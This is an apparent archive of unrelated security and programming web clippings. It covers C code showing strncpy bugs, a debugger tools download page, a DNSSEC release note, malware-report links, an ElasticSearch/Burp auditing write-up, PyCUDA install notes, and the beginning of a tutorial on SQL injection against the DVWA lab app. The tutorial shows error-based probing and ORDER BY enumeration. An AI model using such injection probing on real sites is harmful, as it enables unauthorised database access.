And more..

[code]

    static int
    create_nv_part( int signature, const char *name, int size )
    {
            nvpart_t *p = NULL;
            int fs;
    
            while( next_nvpart(&p) > 0 ) {
                    if( p->signature != NV_SIG_FREE )
                            continue;
    
                    fs = nvpart_size( p );
                    if( fs < size )
                            size = fs;
                    p->signature = signature;
                    memset( p->name, 0, sizeof(p->name) );
                    strncpy( p->name, name, sizeof(p->name) );
                    p->len_hi = (size>>8)/16;
                    p->len_lo = size/16;
                    p->checksum = nvpart_checksum(p);
                    if( fs > size ) {
                            char *fp = (char*)p + size;
                            create_free_part( fp, fs-size );
                    }
                    return size;
            }
            printk("create-failed\n");
            return -1;
    }
    
[/code]

And more..

[code]

            intprop = get_int_property(chosen, "stdout", &proplen);
            PUSH(intprop);
            fword("get-instance-path");
            ((struct linux_romvec *)romvec)->pv_stdout = pop_fstr_copy();
    
            /* Get the name of the selected boot device, along with the device and u
    nit number */
            prop = get_property(chosen, "bootpath", &proplen);
            strncpy(bootpathbuf, prop, proplen);
            prop = get_property(chosen, "bootargs", &proplen);
            strncpy(bootargsbuf, prop, proplen);    
    
            /* Set bootpath pointer used in romvec table to the bootpath */
            push_str(bootpathbuf);
            fword("pathres-resolve-aliases");
            bootpath = pop_fstr_copy();
            printk("bootpath: %s\n", bootpath);
    
    
[/code]

There are a number of more cases of this simple bug, but I think the readers
get the point..

  

# http://labs.idefense.com/software/

**Created:**| _8/8/2009 9:50:25 AM_  
---|---  
**Updated:**| _8/8/2009 10:16:36 AM_  
**Author:**| __  
**Tags:**| _security tools reversing_  
  

RUN-TIME ANALYSIS SOFTWARE TOOLS

RUN-TIME ANALYSIS SOFTWARE TOOLS

RUN-TIME ANALYSIS SOFTWARE TOOLS

Home // Software // Run-time Analysis Software Tools

<img src='img/Temp2_10315.gif' width='45' height='10' alt='Email This Page
URL' /> <img src='img/Temp2_10317.gif' width='48' height='10' alt='Print This
Page' />

// IDBG <img src='img/Temp2_10313.gif' width='2' height='16' alt='seperator'
/> <img src='img/Temp2_10314.gif' alt='open/close' />09.12.06

Author: David Zimmer  
Size: ~900k  
MD5: F8D603E836FEFF8771BE6B9BADEEDCBC  
  
iDBG is a Debugger Library packaged as an ActiveX Control which can be easily
used from any COM aware language. Designed for the quick development of
testing applications that require built in debugging or tracing functionality.
iDbg is Open source and released under GPL license.  
  
Sample code provided for VB6, PHP5, and C\#.

Download | License
// OLLYDBG HEAP VIS <img src='img/Temp2_10313.gif' width='2' height='16'
alt='seperator' /> <img src='img/Temp2_10314.gif' alt='open/close' />08.11.06

Author: Pedram Amini  
Size: ~323k  
MD5: 03ACBB54380246CABA057841E8268840  
Update Summary: Fixed bug that was causing the plug-in to hang  
  
You may have noticed the ghosted "Heap" option under the "View" menu in
OllyDBG. The feature is available only under Windows 95 based OSes and is
supposed to display a list of allocated memory blocks. The Olly Heap Vis plug-
in was written to provide this functionality and more on all modern Windows
OSes such as Windows 2000, XP and 2003. The OllyDbg Heap Vis plug-in exposes
the following functionality:  
View HeapsSearch HeapsJump to Heap ChunkCreate Heap VisualizationMore
information, screenshots and source code are available in the bundled archive:  
Screenshots: List |  Visualize
Download | License
// IDASTRUCT <img src='img/Temp2_10313.gif' width='2' height='16'
alt='seperator' /> <img src='img/Temp2_10314.gif' alt='open/close' />01.11.06

Author: Richard Johnson  
Size: 209 KB  
MD5: F2112F6ED4309AEEC1AE80F394B55325  
  
idastruct - ida structure recognition plugin  
  
idastruct is an ida plugin which aims to assist reverse engineers in
identifying high-level objects and structures in binary code.  
  
idastruct utilizes the excellent x86 emulator plugin 'ida-x86emu' by Chris
Eagle and Jermey Cooper as a basis for evaluating operand values and
determining references within tracked boundaries.  
  
This results in automated creation of IDA structures, enumeration or member
references, and renaming of disassembly offsets to symbolic names
corresponding to the newly created structures and members in the IDA database.

Download | License
// PROCESS STALKER <img src='img/Temp2_10313.gif' width='2' height='16'
alt='seperator' /> <img src='img/Temp2_10314.gif' alt='open/close' />07.13.05

Author: Pedram Amini  
Size: ~960k  
MD5: 0621cfa79dc899eabbe671b924844cb1  
Update Summary: Couple of bug fixes, see CHANGELOG.txt for details.  
  
Process Stalking is a term coined to describe the combined process of run-time
profiling, state mapping and tracing. Consisting of a series of tools and
scripts the goal of a successful stalk is to provide the reverse engineer with
an intuitive visual interface to filtered, meaningful, run-time block-level
trace data.  
  
The Process Stalker suite is broken into three main components; an IDA Pro
plug-in, a stand alone tracing tool and a series of Python scripts for
instrumenting intermediary and GML graph files. The generated GML graph
definitions were designed for usage with a freely available interactive graph
visualization tool.  
  
Data instrumentation is accomplished through a series of Python utilities
built on top of a fully documented custom API. Binaries, source code and in-
depth documentation are available in the bundled archive. Relevant slideshows
from Process Stalker presentations are available on the speaking engagements
page. Binaries, source code and in-depth documentation are available in the
bundled archive. The usage manual and Python API docs are also available
online.  
  
Screenshots: Trace Graph Close-up

Download | License
// OLLYDBG BREAKPOINT MANAGER <img src='img/Temp2_10313.gif' width='2'
height='16' alt='seperator' /> <img src='img/Temp2_10314.gif' alt='open/close'
/>07.13.05

Author: Pedram Amini  
Size: ~160k  
MD5: 94cb360d064b6ca76f5e06c0a7149b20  
Update Summary: Bug fix in automatic breakpoint list loading.  
  
OllyDBG has excellent breakpoint manipulation capabilities and can store
breakpoint information across debugging sessions for the main module being
debugged. However, there are some limitations to the available functionality
which this plug-in attempts to address. The OllyDbg Breakpoint \(BP\) Manager
plug-in was written to provide three main functions- breakpoint exporting,
breakpoint importing and automatic breakpoint loading. Offsets are used in
place of absolute addresses to support setting and restoring breakpoints on
modules that move around in memory. More information, examples and source code
are available in the bundled archive.  
  
We encourage users to submit useful breakpoint sets they have created with
OllyDbg Breakpoint Manager to us for credit and inclusion in future releases
and on the release web site.

Download | License
// DLTRACE <img src='img/Temp2_10313.gif' width='2' height='16'
alt='seperator' /> <img src='img/Temp2_10314.gif' alt='open/close' />04.28.05

Author: Richard Johnson  
Size: ~200k  
MD5: ceb8465b010a871ffe5685d003eabaaa  
Update Summary: Fixed missing library path \(/lib/tls\).  
  
dltrace is a dynamic library call tracer which attempts to remain portable to
all x86 platforms that support ELF binaries and expose a debugging interface
via procfs or the ptrace\(\) system call. The shared library call tracing is
done at a level which allows calls to all symbols exported by loaded libraries
to be traced. In addition, dltrace does not rely on rtld symbols to retrieve
library and symbol information and is capable of determing function arguments
dynamically via run-time disassembly.

Download | License
// DOWNLOADS

Software Downloads

Run-time Analysis

Static Analysis

Fuzzing

Malcode Analysis

Miscellaneous Tools

Software Releases: <img src='img/Temp2_10316.gif' alt='XML RSS 2.0' />

# OpenDNSSEC » Blog Archive » OpenDNSSEC 1.1.0rc1

**Created:**| _4/22/2010 6:51:39 PM_  
---|---  
**Updated:**| _4/22/2010 6:51:48 PM_  
**Author:**| __  
**Tags:**| _DNS network-security awesome_  
  

## OpenDNSSEC 1.1.0rc1

We are now releasing rc1 of OpenDNSSEC 1.1.0  
The rc1 is only available in our repository and not as a tarball.

Use the following commands to get it installed:

_svn co_ _http://svn.opendnssec.org/tags/OpenDNSSEC-1.1.0rc1/__OpenDNSSEC  
cd OpenDNSSEC  
sh autogen.sh  
./configure  
make  
sudo make install_

Please test it and come back with feedback. You can find the changes in the
following file:  
http://svn.opendnssec.org/tags/OpenDNSSEC-1.1.0rc1/NEWS  
http://svn.opendnssec.org/tags/OpenDNSSEC-1.1.0rc1/KNOWN\_ISSUES

This entry was posted on Thursday, April 22nd, 2010 at 16:15 and is filed
under Uncategorized. You can follow any responses to this entry through the
RSS 2.0 feed. Responses are currently closed, but you can trackback from your
own site.

# Lenny Zeltser on Information Security — Several Malware Analysis Reports to
Learn From

**Created:**| _10/24/2010 6:28:33 PM_  
---|---  
**Updated:**| _10/24/2010 6:28:44 PM_  
**Author:**| __  
**Tags:**| _bookmark report reversing Malware-analysis awesome_  
  

## Several Malware Analysis Reports to Learn From

Analyzing malware helps you understand the overall threat landscape. The next
best thing to reverse-engineering malicious programs yourself is learning from
other analysts’ reports.

Here are several excellent write-ups, authored by different researchers, which
describe several types of malicious software:

  * Murofet exhibits file infection and password stealing abilities. Marco Giuliani at Prevx provided insightful analysis of this specimen.
  * Avzhan is a growing family of DDoS bots. Jeff Edwards at Arbor Networks offered a comprehensive overview of this family of malware.
  * Visal is an email worm that spreads links to malicious Windows executable files. It was thoroughly examined by SecureWorks.
  * “The Hottest girls on Facebook” worm uses clickjacking and social engineering to propagate. It was researched by Krzysztof Kotowicz. George Deglin examined another example of a Facebook worm.
  * A malicious PDF file can split JavaScript across several objects. An example of this technique was documented by Tamas Rudnai at Websense.
  * Attacks often combine a malicious PDF file with a Windows executable. One such incident was analyzed by CW.

I periodically post interesting malware analysis reports from across the web
on the Reverse-Engineering Malware Course page on Facebook.

If you’d like to improve your own malware report-writing skills, take a look
at my earlier note What to Include in a Malware Analysis Report, which
includes a mind-map template.

— Lenny Zeltser

# Thomas Patzkes Personal Website

**Created:**| _5/17/2017 7:07:46 PM_  
---|---  
**Updated:**| _5/17/2017 7:07:46 PM_  
**Author:**| __  
**Tags:**| __  
  

  

Intercepting proxies are great tools in web application security tests, but
they share a big weakness in their restricted search capabilities. Burp Pro
offers many options in searching HTTP requests and responses, but there are
still many searches that are useful in security assessments and are not
possible. Examples are:

  * Searching for POST requests that do _not_ contain a specific parameter \(identifying state-changing requests that lack CSRF protection\)
  * Searching for HTML documents without proper DOCTYPE declaration.
  * Searching for missing HTTP security response headers, as X-Frame-Options.

Often, the missing piece is the combination of multiple criteria and the
missing restriction to parts of the searched objects. Another issue is the
poor performance of searches. Each search causes a complete sweep of all
searched objects and leads to annoying delays.

The Web Audit Search Engine \(short: WASE\) tries to fill the gap by providing
a framework for putting HTTP request/response data into an ElasticSearch
index, such that it can easily be searched efficiently with available tools as
Kibana. Additionaly the ElasticSearch/Kibana stack allows the creation of
visualizations and dashboards.

## Components

The core of WASE is a data structure for HTTP requests and response pairs for
ElasticSearch and some data post-processing code that extracts useful
information from the raw data, including HTML responses. It is implemented in
doc\_HttpRequestResponse.py. The class `DocHTTPRequestResponse` can be used by
front-ends that fill the object fields with appropriate data and call the
`save()` method. The calling code must initialize a connection with an
ElasticSearch instance \(see the elasticsearch\_dsl documentation for
details\) and define an index. `DocHTTPRequestResponse.init()` creates the
required mappings in the ElasticSearch index.

Front-ends can be standalone programs which pull HTTP requests/responses out
of data or plug-ins for programs, like intercepting proxys. First I wrote
ElasticBurp, a front-end for the Burp Suite. The supplementary WASEHTMLParser
library contains parsing functions that are not covered by the Burp Extender
API and is the intended place for similar functions in future front-ends.

### The DocHTTPRequestResponse class

The core class is leaned on the Burp Extender API. Most fields of it directly
correspond to data provided by Burp API calls resulting of analysis of the
processes HTTP requests and responses. Therefore, headers, parameters and
cookies are stored in ElasticSearch documents and are indexed for search. Most
string fields are stored as analyzed and unanalyzed \(field names .raw
suffix\), except it makes absolutely no sense, as for the HTTP request method.

Headers, parameters and cookies are stored as nested documents. Unfortunately
the popular ElasticSearch front-end Kibana offers only poor support for nested
documents. Particularly, the query language primarily used in Kibana does not
allow to select a nested document and restrict further search expressions to
it. It is possible to enter ElasticSearch DSL Queries, which are expressed in
JSON that is quite unhandy in the one-line Kibana query input field. Therefore
some redundancy was added in the DocHTTPRequestResponse class to make some
queries easier. The created documents contain fields like
_request.headernames_ or _response.cookienames_ to be able to search for them
with simple query expressions.

Basically I learned in this project, that it makes sense to add redundancies
in ElasticSearch data models for two reasons:

  * Different handling of the same data in search expressions \(raw and analyzed\)
  * Making useful data easily accessible with simplified query expressions while preserving the original data structure for complex queries

This is a bit contradictory to the data modeling theory in classical
databases, as SQL.

### ElasticBurp

The Burp plug-in is currently in an early development state and configured in
the source code. By default it connects to a local ElasticSearch server and
feeds it only with complete request/response pairs from the proxy tool.

To make things work, you first need to set up an ElasticSearch instance.
Elastic offers packages for various Linux distributions. There are further
download packages and Windows is also supported by installing it as service.
This seemed most convenient for me, but running it standalone is also
possible. As front-end I recommend the installation of Kibana. Please note
that the package repositories of Elastic often contain outdated Kibana
versions which aren't compatible with the ElasticSearch packages from the same
repository.

For security reasons I recommend to restrict both services to listen only on
the loopback interface. Usually this can be done by setting `network.host:
127.0.0.1` in `/etc/elasticsearch/elasticsearch.yml` and `host: "127.0.0.1"`
in `$KIBANA_ROOT/config/kibana.yml`.

Finally, ElasticBurp.py has to be loaded in Burp as extension. It was
developed and tested with Jython 2.7.0. The module _tzlocal_ must be installed
with its dependencies in this Jython environment. Additionally, the root
directory of the WASE source tree has to be set as module loading folder in
the Burp Extenders _Python Environment_ options or some other folder that
contains the elasticsearch and elasticsearch\_dsl python module. If
ElasticSearch is started, the ElasticBurp extension should load without
throwing any errors.

ElasticBurp now automatically feeds ElasticSearch as described above. In
addition a context menu item is available that imports marked requests and
responses.

## Querying ElasticSearch with Kibana

After you have fed ElasticSearch with some data from a Burp session, you can
open Kibana and query it. Lets pick up the examples from the introduction and
search for all POST requests that don't contain a CSRF token by issuing the
following query:

[code]

    request.method:POST -request.parameternames.raw:"csrftoken" 
    
[/code]

Kibana should now show all requests that are likely state-changing \(because
of the POST method\) and vulnerable against CSRF. The query itself should be
self-explanatory:

  1. the first expression matches on all request method for the term _POST_.
  2. The minus negates the second expression and excludes all requests that contain a parametername _csrftoken_.

As you possibly noticed, the second expression uses the raw field instead of
_request.parameternames_. Using the analyzed version might cause unexpected
results which are not desirable in this context. Analyzed field means, that
ElasticSearch decomposes the field value into smaller parts that can be
searched individually. Queries against analyzed fields can cause results where
the query value matches only parts of the result field value. It's usual in
ElasticSearch to offer both versions and suffix the name of the unanalyzed one
with _.raw_. The query language is described on the Apache Lucene Query Parser
Syntax page.

Ok, next one. Now lets search for HTML responses without a proper DOCTYPE
definition. These are worth to hunt because they can open some opportunities
for XSS vulnerabilities. The following query results in all responses that
Burp identified as HTML by its own content sniffing logic that doesn't contain
a DOCTYPE definition in the HTML code:

[code]

    response.inferred_content_type:html -doctype
    
[/code]

You will possibly see many redirections and like to restrict to 200 responses
that likely contain some user-provided content. This query does the trick:

[code]

    response.status:200 AND response.inferred_content_type:html -doctype
    
[/code]

Take care of the _AND_ in the expression. Omitting it causes that HTML
responses _and_ 200 responses will be contained in your results. Further
interesting responses are those that were not declared as HTML, but detected
as such ones by Burp:

[code]

    response.inferred_content_type:html -response.content_type:html
    
[/code]

There is a good chance that browsers also recognize HTML and there are
possibilities for XSS vulnerabilities. It is useful to select fields in the
left part of the Kibana UI or directly in expanded results document. Selecting
fields means that they are displayed in the condensed list view instead of the
first lines of the whole result document. This makes the list more clear, like
in the following screenshot:

<img src='img/Temp2_8376.png' width='1298' height='230' alt='Selection of
Fields in Kibana' />

Last example: searching for responses with missing security headers. The
following query finds them:

[code]

    NOT response.headernames:"X-Frame-Options"
    
[/code]

<img src='img/Temp2_8377.png' width='807' height='348' alt='Display of
Response Headers in Kibana' />

As you can see, WASE can support you in finding security issues by targeted
searches for specific conditions in requests and responses.

## Future Development

WASE is still in an early stage of development. In the first line, there is
surely more interesting data that can be extracted as field. Possibly there
are other areas outside of security where it could get a useful tool.

There are some ideas for further front-ends:

  * Importing HTTP traffic from PCAP files
  * Importing of Burp save \(requests/responses\) files
  * Plugin for Zed Attack Proxy \(ZAP\)

I plan to submit the ElasticBurp plug-in to the BApp Store, but first it needs
to be configurable via UI instead of editing the source code.

Building useful visualizations and dashboards in Kibana is also on the to-do
list. Kibana offers a neat generic front-end for ElasticSearch, but has
unfortunately some drawbacks. Summarized these are:

  * It doesn't supports nested documents very well
  * Querying of nested documents requires usage of JSON-based Query DSL syntax
  * No pretty printing or compression of responses, causes much scrolling when results are expanded
  * Visualizations and dashboards have shown to be too restricted in the given use case

So there is the plan to build an own web-based UI front-end.

Feel free to open bugs or enhancement requests. Pull requests are also
appreciated :-\)

_Thanks go toDaniel Sauder for proofreading\!_

  

# PyCuda/Installation/Windows - The Braindump

**Created:**| _2/6/2010 2:13:31 PM_  
---|---  
**Updated:**| _2/6/2010 2:13:39 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup cuda_  
  

# Installing PyCuda on Windows

Contents

  1. Installing PyCuda on Windows
    1. Using Visual Studio 2008
    2. Using Visual Studio 2008 \(alternative on January 2010\)
    3. Using MinGW
    4. Windows Vista 64-bit with Visual Studio 2008

Please don't forget that this is a Wiki. If you feel like you can improve
these instructions, please don't hesitate to do so. There's an edit button in
the header, and you won't even need an account or any such nonsense.

## Using Visual Studio 2008

The following software was used here:

  * Python 2.6
  * NumPy 1.3.0 and Scipy 0.7.1
  * pycuda version 0.94beta \(i.e. from git\)
  * Visual Studio 2008
  * boost 1.38: I suggest using BoostPro installer as that enables you to just install the Boost libraries you need \(much faster than compiling all of Boost\!\)
  * CUDA 2.2 \(185.xx driver\)
  * Windows XP 32-bit

First of all - you need git version for Windows \(`git` is a version control
system\). Then get \(with **git**\) a fresh copy of PyCUDA. To do this open
GitBash and type in the command line

[code]

    git clone http://git.tiker.net/trees/pycuda.git
    
[/code]

You need to have and use **Visual Studio 2008** \(previous version does not
seem to work\).

I recommend to use BoostPro installer, boost 1.38, which can interactively
install binary dlls and libs. You need only the ones for Version 9 of MSVC,
and make sure you get a DLL variant. Also make sure you install the **Boost
Python, Boost DateTime, **and **BoostThread **libraries, otherwise the PyCUDA
setup won't work.

Then put this text into PyCUDA's source directory as `siteconf.py`
\(potentially with adapted paths\):

[code]

    BOOST_INC_DIR = [r'C:/boost']
    BOOST_LIB_DIR = [r'C:/boost/lib']
    BOOST_PYTHON_LIBNAME = ['boost_python-vc90-mt-1_38']
    BOOST_THREAD_LIBNAME = ['boost_thread-vc90-mt-1_38']
    CUDA_ROOT = r'C:\CUDA'
    CUDADRV_LIB_DIR = [r'C:/CUDA/lib']
    CUDADRV_LIBNAME = ['cuda']
    CXXFLAGS = ['/EHsc']
    LDFLAGS = ['/FORCE']
    
[/code]

After driver installation \(python setup.py install\), copy all boost dlls
into windows/system32 directory or add the path to it. You minimally need
**boost\_python-vc90-mt-1\_38.dll** and **boost\_thread-vc90-mt-1\_38.dll**.

Finally, add a **HOME **environment variable in Windows: it doesn't matter
what it is, so you can make it "123456" or your My Documents directory, etc.

\(Instructions by \{loginovdv, wuzzyview\} at gmail com. Instead of emailing
him directly, please go to the PyCuda/MailingList for support.\)

## Using Visual Studio 2008 \(alternative on January 2010\)

The following software was used here:

  * Python 2.6
  * NumPy 1.4.0
  * pycuda version 0.94beta \(i.e. from git\)
  * Visual Studio 2008
  * boost 1.38 from source, note that 1.41 did **not** work on Windows \(details below\)
  * CUDA 2.3
  * Windows XP 32-bit

Follow the above instructions for Visual Studio 2008. The only difference is
the use of boost from source.

Get Boost v1.38 source and the pre-compiled bjam via the Sourceforge Boost
page. Note that v1.41 \(latest when written in Jan 2010\) did **not** work for
pyCUDA. When compiling the python Boost library it insisted on linking to
PYTHON25.DLL which does not exist on my machine. Switching back to v1.38 and
compiling from source worked first time, it correctly linked to PYTHON26.DLL.
Details in this thread includes references to DependencyWalker for debugging.

Read the index.html file and then compile Boost v1.38 using:

[code]

    bjam --build-type=complete stage # complete means build all the libs/dlls, stage puts the libs into ./stage/lib
    # note you can add --debug-configuration to get debug info for details of e.g. the compiler and Python version it finds
    
[/code]

This is a working siteconf.py:

[code]

    BOOST_INC_DIR = ['C:\\Program Files\\boost\\boost_1_38_0']
    BOOST_LIB_DIR = ['C:\\Program Files\\boost\\boost_1_38_0\\stage\\lib']
    BOOST_COMPILER = 'msvc'
    BOOST_PYTHON_LIBNAME = ['boost_python-vc90-mt-1_38']
    BOOST_THREAD_LIBNAME = ['boost_thread-vc90-mt-1_38']
    CUDA_TRACE = False
    CUDA_ROOT = 'c:\\cuda'
    CUDA_ENABLE_GL = False
    CUDADRV_LIB_DIR = [r'C:/CUDA/lib']
    CUDADRV_LIBNAME = ['cuda']
    CXXFLAGS = ['/EHsc']
    LDFLAGS = ['/FORCE']
    
[/code]

Compile using:

[code]

    python setup.py build
    python setup.py install
    
[/code]

and you'll have a working pyCUDA \(check that your build/install process
finishes without any errors\).

Next you have to setup your PATH, go to the Start menu, Settings, Control
Panel, choose System, go to the Advanced tab, select Environment Variables.
Under System Variables you'll find "Path". Copy all of it into a text editor
and take a look at it.

You'll almost certainly see existing references to CUDA \(from the CUDA
package\) and Python in the path looking like:

[code]

    C:\CUDA\bin;
    C:\Python26;
    
[/code]

You now need to add the Boost library directory \(including stage\lib\) by
adding something like the following:

[code]

    C:\Program Files\boost\boost_1_38_0\stage\lib;
    
[/code]

\(this library contains files like boost\_python-vc90-1\_38.dll boost\_python-
vc90-1\_38.lib\)

When you run the pyCUDA demo files you might find that "nvcc" \(NVidia's
compiler\) fails because it can't find the Visual Studio "cl.exe" compiler.
The error is:

[code]

    nvcc fatal   : Cannot find compiler 'cl.exe' in PATH
    
[/code]

If you see this then add the following to the path \(for Visual Studio 2008 /
VC9\):

[code]

    C:\Program Files\Microsoft Visual Studio 9.0\VC\bin\;C:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE
    
[/code]

The \bin directory contains "cl.exe", the "Common7\IDE" contains necessary
DLLs you'll get an error on screen telling you the DLLs it can't find - you
just need to locate them and add the right directory. The easiest way to test
this is to open a new Command Prompt and type "cl.exe" - if it isn't found
then your path isn't configured. If it runs OK then "cl.exe" will be seen by
nvcc.

You should also add "HOME" as an environment variable, it isn't used but it is
required \(if you don't add it you'll get an obvious error message saying it
needs to know where HOME is\), I used:

[code]

    HOME=pycuda;
    
[/code]

You add it by adding a New environment variable on the same screen where you
can edit the PATH.

To test first open a new Command Prompt \(so you get the new PATH info you
configured above\) and try:

[code]

    cd examples
    python measure_gpuarray_speed_random.py
    
[/code]

and you should see a simple memory benchmark running, you will see that your
GPU outperforms your CPU for the larger memory transfers.

## Using MinGW

The following instructions can be used to install PyCUDA on a Windows machine
with Visual Studio 2005. The issue that this solves is related to building
python extensions when python was built with Visual Studio 2003. The MinGW
compiler can be used to work around this issue.

  1. PyCUDA can be built and installed using the MinGW compiler. You can use MinGW which is installed with python\(x,y\), which is a nice Python development environment. The python\(x,y\) installer places the MinGW compiler into the PATH variable. I used python\(x,y\) 2.1.14.
[code]      For all of the commands that require a command prompt, I used the
‘open console here’ option in the Windows Explorer context menu that is
created when python(x,y) is installed.

    
[/code]

  2. Build the Boost thread and python libraries using the MinGW compiler and the toolset=gcc command line argument with bjam. For example, assuming boost is installed in C:\boost\_1\_39\_0:
     * cd c:\boost\_1\_39\_0
     * bjam toolset=gcc –with-python –build-type=complete stage
     * This should create libs in the stage\lib directory prefixed with boost\_python-mgw34.
     * Use the same command for –with-thread.
  3. Python needs to be told to build extensions using the MinGW compiler. Otherwise, when you build PyCUDA you will receive an error message that Python was built with Visual Studio 2003.
  4. Create or open the file <python home>\Lib\distutils\distutils.cfg.
  5. Add the following entry:
     * \[build\]
     * compiler=mingw32
  6. Get the latest version of PyCUDA using git.
  7. Change to the directory where PyCUDA was downloaded and install PyCUDA. You can use a commands similar to:
  8. configure.py –boost-inc-dir=c:\boost\_1\_39\_0 –boost-lib-dir=c:\boost\_1\_39\_0\stage\lib –boost-python-libname=boost\_python-mgw34-mt-1\_39 –boost-thread-libname=boost\_thread-mgw34-mt-1\_39 –cuda-root=c:\cuda
  9. Issue the command setup.py build –c mingw32
  10. Issue the command setup.py install.
  11. Make sure that the Visual Studio cl.exe compiler is in the PATH. For example, C:\Program Files\Microsoft Visual Studio 8\VC\bin.
  12. Make sure that the boost libs are in the PATH. For example, C:\boost\_1\_39\_0\stage\lib.
  13. Change to the PyCUDA examples directory and run demo.py after setting the HOME environment variable to 123456. The demo should run without error.

\(Instructions by Frank Buckle, fbuckle at gmail com. Instead of emailing him
directly, please go to the PyCuda/MailingList for support.\)

## Windows Vista 64-bit with Visual Studio 2008

\(see also this blog post\)

I successfully built and passed the test\_driver.py script on Windows Vista
64-bit \(x64, amd64\) with Visual Studio 2008. My configuration:

  * Python 2.6, using the amd64 installer on the web site
  * Numpy 1.3.0 built from source. The 1.3.0 amd64 installer on their web site seems to be compiled with something other than Visual Studio 2008 and, after installation, it crashes when I import numpy. Building from source with Visual Studio 2008 seems to make it more stable, despite the warning that support is not perfect on 64 bit Windows.
  * pycuda from git \(I used 0.94 beta\)
  * boost 1.39: As above, I suggest using BoostPro installer, but only you only need the Boost header files, Source and Documentation and Tools.
  * CUDA 2.3

These here are the steps to follow:

  1. Open a Visual Studio 2008 x64 Win64 Command Prompt \(Start -> Programs -> Microsoft Visual Studio 2008 -> Visual Studio Tools\) as administrator
  2. In the prompt, navigate to your boost directory \(The example assumes C:\boost\boost\_1\_39\). You need to compile the python, thread and date\_time libraries. This should create dll's and libraries in the stage directory under your boost unzip.
[code]     "C:\boost\boost_1_39\bin\bjam.exe" toolset=msvc --with-python
--build-type=complete address-model=64 embed-manifest=off stage

     "C:\boost\boost_1_39\bin\bjam.exe" toolset=msvc --with-thread --build-type=complete address-model=64 embed-manifest=off stage
     "C:\boost\boost_1_39\bin\bjam.exe" toolset=msvc --with-date_time --build-type=complete address-model=64 embed-manifest=off stage
    
[/code]

bjam.exe is the boost jam executable. On other versions\(such as 1.40\) this
file may be located in another path.

  3. Get the latest version of pycuda using git:
[code]     git clone http://git.tiker.net/trees/pycuda.git

    
[/code]

  4. In pycuda's source directory, create `siteconf.py`:
[code]      BOOST_INC_DIR = [r'C:\boost\boost_1_39']

     BOOST_LIB_DIR = [r'C:\boost\boost_1_39\stage\lib']
     BOOST_COMPILER = 'msvc'
     BOOST_PYTHON_LIBNAME = ['boost_python-vc90-mt-1_39']
     BOOST_THREAD_LIBNAME = ['boost_thread-vc90-mt-1_39']
     CUDA_TRACE = False
     CUDA_ENABLE_GL = False
     CUDADRV_LIB_DIR = [r'C:\CUDA\lib64']
     CUDADRV_LIBNAME = ['cuda']
     CXXFLAGS = ['/EHsc']
     LDFLAGS = ['/FORCE']
    
[/code]

  5. In pycuda's source directory edit setup.py, find
[code]         # CUDA_ROOT/bin/nvcc(.exe)?

         if 'CUDA_ROOT' in sc_vars:
             verify_path(
                 description="CUDA toolkit",
                 paths=[sc_vars['CUDA_ROOT']],
                 subpaths=['/bin/'],
                 names=['nvcc'],
                 extensions=APP_EXTS,
                 )
         else:
    
[/code]

change /bin/ into /bin64/

  6. Build and install pycuda
[code]     python setup.py install

    
[/code]

  7. Make sure that the boost lib directory, C:\boost\boost\_1\_39\stage\lib. is in the PATH.
  8. Create a dummy HOME environment variable to 123456
  9. Run test\_driver.py in the test directory under the git checkout.

\(Instructions by Bill Blinn, bblinn at gmail com. Instead of emailing him
directly, please go to the PyCuda/MailingList for support.\)

# Anatomy of an attack: Gaining Reverse Shell from SQL injection - InfoSec
Resources

**Created:**| _7/20/2016 3:18:47 PM_  
---|---  
**Updated:**| _7/20/2016 3:24:39 PM_  
**Author:**| __  
**Tags:**| __  
  

Anatomy of an attack: Gaining Reverse Shell from SQL injection

  

Posted in Hacking on March 28, 2013

  

Share

  

\- in  
Share  
.  
28

  

Ethical Hacking Boot Camp Our most popular course\!

  

Click Here\!

  

Skillset

What's this?

  

\- SQL Injection

  

SQL injection opens a lot of possibilties for an attacker like dumping the
database, causing denial of service, or stealing sensitive information. But it
becomes more interesting when it can be used to compromise a server. Different
SQL databases, like MSSQL, MySQL, ORACLE, PLSQL pose different sets of
challenges for the attacker once the injection is detected. I have taken
MySQLas a database for demonstrating anatomy of the sql injection attack.

  

This post talks about simple techniques to exploit SQL injection \(SQLi\) and
gain a reverse shell. For the SQLi attack there are few basic steps :

  

\- Identify:The SQL injection point.

\- Take:MySQL help to explore the SQL injection further.

\- Exploit:Upload the webshell and get the reverse connection.

  

For the demo I am using Damn Vulnerable Web Application \(DVWA\). It is easy
to install and can be downloaded from http://www.dvwa.co.uk/. DVWA is
PHPMySQLApache application and purposefully made vulnerable. It is a good tool
for web application security enthusiasts to begin with.

  

I will be using two scenarios where DVWA is installed on Linux OS and another
in Windows OS. The concept behind the attack is the same in both the scenarios
but there is a slight difference in exploitation that we will discuss later.

  

It is easy to install and configure DVWA and for the demo I have kept the
script security as “low”.

  

\- Identify:The SQL injection point.

  

Identifying the SQL injection is the key step, and it takes a lot of skill and
experience to identify the injection point. By analyzing the application
properly,the possible injection points can be identified. Like in the
screenshot shown below, the USER ID field could be vulnerable to SQL
injection. It takes an integer as input and displays the First Name and
Surname associated with the User ID provided.

  

Let us put a quote \(‘\) in the UserID. We can see that the database error is
generated which confirms that the application is vomiting database errors;
also, the database in use is MySQL.

  

If you will see the error closely it is a syntax error. The reason is the
backend SQL query causes a syntax error when supplied a \(‘\) instead of
integer.

  

If I try to imagine the query at the backend it would be something like:

  

MySQL> select first\_name, last\_name from users where user\_id=’ ‘ ;

  

If provided input is the quote \(‘\) the SQL query breaks and becomes:

  

MySQL> select first\_name, last\_name from users where user\_id=’ ” ;

  

And hence, it creates a syntax error. So, the injection point is identified as
the USERID field and it is possible to communicate to the backend SQL server
from the front end which will make the SQL injection possible.

  

\- Take:MySQL helps to explore the SQL injection further.

  

Let’s dig further and try to enumerate to try to guess the backend query,
number of columns used in the query, database name, MySQL version etc.

  

Our guess about the backend query from the front end is something like:

  

MySQL> select first\_name, last\_name from users where user\_id=1 ;

  

But it is just a wild guess. We’ll need proper enumeration of the backend
query for which MySQL helps us. MySQL gives us ORDER BY.

  

Now why are we using ORDER BY ?

  

ORDER BY sorts the results according the the columns. Like the query above
uses 2 columns, using ORDER BY the result can be sorted according to column 1
\(first\_name\) or according to column 2\(last \_name\). So query will execute
only when it will be sorted according to the columns used in the query.

  

But If I want to sort the results by column 3 \(which is not used in the
query\) MySQL will generate the error saying:

  

ERROR 1054 \(42S22\): Unknown column ‘3’ in ‘order clause’

  

So the deduction would be when I used ORDER BY with 2 I didn’t get any error
